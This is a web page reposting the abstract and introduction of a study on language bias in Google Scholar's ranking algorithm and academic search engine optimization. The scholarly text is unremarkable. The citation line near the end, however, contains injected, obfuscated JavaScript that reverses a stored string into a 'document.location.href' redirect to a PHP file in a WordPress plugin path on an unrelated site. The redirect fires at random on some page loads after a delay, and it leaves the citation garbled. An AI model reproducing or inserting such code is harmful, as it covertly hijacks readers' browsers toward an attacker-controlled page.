Language Bias in the Google Scholar Ranking Algorithm [review]


The visibility of academic articles or conference papers depends on their being easily found in academic search engines, above all in Google Scholar. To enhance this visibility, search engine optimization (SEO) has been applied in recent years to academic search engines in order to optimize documents and, thereby, ensure they are better ranked in search pages (i.e., academic search engine optimization or ASEO). To achieve this degree of optimization, we first need to further our understanding of Google Scholar’s relevance ranking algorithm, so that, based on this knowledge, we can highlight or improve those characteristics that academic documents already present and which are taken into account by the algorithm. This study seeks to advance our knowledge in this line of research by determining whether the language in which a document is published is a positioning factor in the Google Scholar relevance ranking algorithm. Here, we employ a reverse engineering research methodology based on a statistical analysis that uses Spearman’s correlation coefficient. The results obtained point to a bias in multilingual searches conducted in Google Scholar with documents published in languages other than in English being systematically relegated to positions that make them virtually invisible. This finding has important repercussions, both for conducting searches and for optimizing positioning in Google Scholar, being especially critical for articles on subjects that are expressed in the same way in English and other languages, the case, for example, of trademarks, chemical compounds, industrial products, acronyms, drugs, diseases, etc.

Keywords: ASEO; SEO; reverse engineering; citations; google scholar; algorithms; relevance ranking; citation databases; academic search engines; multilingual search


A researcher’s professional career is heavily dependent on the visibility of, and the recognition afforded by, their scholarly output. The number of citations received and the corresponding indexes associated with this variable, in particular the h-index, are typically the most widely used metrics employed in official processes of accreditation before appropriate academic boards or commissions. Indeed, the need to be cited, combined with the exponential increase in world bibliographic output, means that researchers today have to promote their own articles as the final step in the complex process of publishing their research findings. This promotion of their research output usually also implies building their personal academic brand [1,2], including the creation of complementary content that extends well beyond traditional scholarly articles for specialized publications or papers for conferences.

Among the actions researchers can take to promote both their personal brand and scientific output are mentioning their articles in academic and non-academic social networks, creating a professional blog with complementary content (videos, presentations, PDFs), creating profiles on a range of platforms from ORCID, Google Scholar Citation, and ResearcherID to Mendeley, depositing documents in open access repositories and optimizing articles so that they command a good position in search engines, especially Google Scholar. Indeed, the vast majority of Internet users do not look beyond the second or third page of results [3], which means for a document to be found easily it has to be optimized to ensure it appears towards the top of the first page.

Search results are ranked according to relevance, a value automatically calculated by search engines. Moreover, this ranking is usually established as the default order, because other forms of sorting—for example, by title or by date—are considered less significant for most search intentions (although these other forms of sorting are often available). Relevance is calculated using an algorithm that takes into account a range of factors, which means that for each search engine, relevance will differ to some degree, given that it is being defined by a distinct algorithm in each case.

Search engine optimization (SEO) [4,5] is, today, a well-established discipline, the goal of which is to highlight the quality of web pages and so improve their position in the results pages. This goal should not be achieved by fraudulent means, but depends rather on knowing how the algorithms that determine relevance operate, identifying the factors taken into account and, finally, optimizing these factors in one’s documents. However, Google Scholar is not always able to detect attempts at manipulation [6,7].

Today, there is a huge community of SEO experts and companies that dedicate their efforts to analyzing and discussing Google’s relevance ranking algorithm. Via blogs [8,9,10,11], online publications [12,13,14], and books [15,16,17] they advise designers and webmasters as to how they can optimize their websites so that they are easily indexed and can occupy the highest rankings in the results pages.

Google’s relevance algorithm is based on more than 200 factors [18] and include the number of links received, the keywords and related terms in the title and other significant areas of the document, the download speed of the server on which the page is hosted, the length of the text, the user experience, the mobile-first design, the semantic tagging, the age of the domain, etc. Google has never released complete information about all these factors or the exact weighting attached to each; the company only provides general, incomplete information in order to avoid spam. Indeed, if all the details of how the algorithm works were known, then poor quality documents could be placed at the top of the results page.

This “black box” policy has led SEO professionals to conduct reverse engineering research in an effort to identify the specific factors involved in relevance ranking. Thus, they analyze the search results in order to infer how the algorithm works. However, it is a complicated process in which many factors intervene and it is not easy to draw any conclusive results.

In recent years, this ecosystem of research concerned with algorithms and the subsequent publication of recommendations has been extended to Google Scholar and academic articles. On a much smaller scale, reverse engineering research has been applied to Google Scholar [19,20,21,22,23,24,25] and blogs [26,27,28,29,30], university library guidelines [31,32,33,34] and the authors’ services of the publishers of academic journals [35,36,37,38,39,40] offer their recommendations as to how to optimize articles so that they appear at the top of the rankings of Google Scholar’s results pages. This SEO applied to academic search engines has been called academic search engine optimization or ASEO [20,22,41,42,43].

This research community is still in its infancy both in terms of the quantity and quality of its output; moreover, the recommendations given for Google Scholar are often contaminated by research findings for Google. In fact, they are two quite distinct algorithms that operate on two quite distinct types of document in two very different environments. Indeed, as far as the ranking algorithm is concerned, academic documents have at least four major characteristics that clearly distinguish them from web pages: most are in PDF (and not HTML) format; they contain links based on bibliographic citations with other academic documents (not hyperlinks); once published, they are not modified; and, usually, author metadata and the date of publication are clearly identified.

Promoting a personal academic brand and the visibility of web pages, blogs, videos and other complementary content depend to a large extent on Google positioning. But the visibility of academic articles or conference papers is determined by their optimization for Google Scholar. These differences need to be clarified, while it is necessary to further our understanding of Google Scholar’s relevance ranking algorithm, which is not so well known and widely analyzed as Google’s general search algorithm.

The aim of this study is to do just that and, more specifically, here, because of its far-reaching implications, we seek to determine whether the language in which a document is written is a key positioning factor. In this regard, no previous study, to the best of our knowledge, has attempted to find a relationship between positioning and language, be it for Google Scholar or for the general Google search engine.

Normally, language plays no role as a ranking factor in keyword searches, given that the language of the search word itself determines the language of the documents retrieved. If the documents are written in the same language, this factor is overridden. Language only intervenes in those few cases of keywords with the same spelling in different languages that generate multilingual lists of results. In contrast, searches by author or year are conducted independently of language and always provide what we shall refer to henceforth as multilingual results (or searches).

When searches are multilingual, that is, when results are provided in different languages for the same search, the language of the documents can be a decisive factor if it can be shown that this conditions ranking. Thus, our primary research question here is the following: In multilingual searches, is the language in which a document is written a factor in Google Scholar’s ranking algorithm?

Our hypothesis is that Google Scholar favors the English language in multilingual search results. As a result, documents in other languages have fewer possibilities of being placed at the top of the rankings for the sole reason that they are not published in English.

In the following section, we discuss related studies in the literature, before moving on to present the applied research methodology and the method used to select our sample. Next, we analyze the results obtained from our statistical data and from observation of our scatter plots. The limitations of the study are discussed and new lines of research are proposed. Finally, in the conclusions, the repercussions of our findings are highlighted, both for searches and for the optimization of positioning in Google Scholar.



Rovira, Cristòfol; Codina, Lluís; Lopezosa, Carlos (2021).$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} (opens in a new tab)» href=»″ target=»_blank» rel=»noreferrer noopener» class=»rank-math-link»>



This research was funded by the project Interactive content and creation in multimedia information communication: Audiences, design, systems and styles, CSO2012-39518-C04-02, Spanish Ministry of Economy and Competitiveness (Mineco/Feder).


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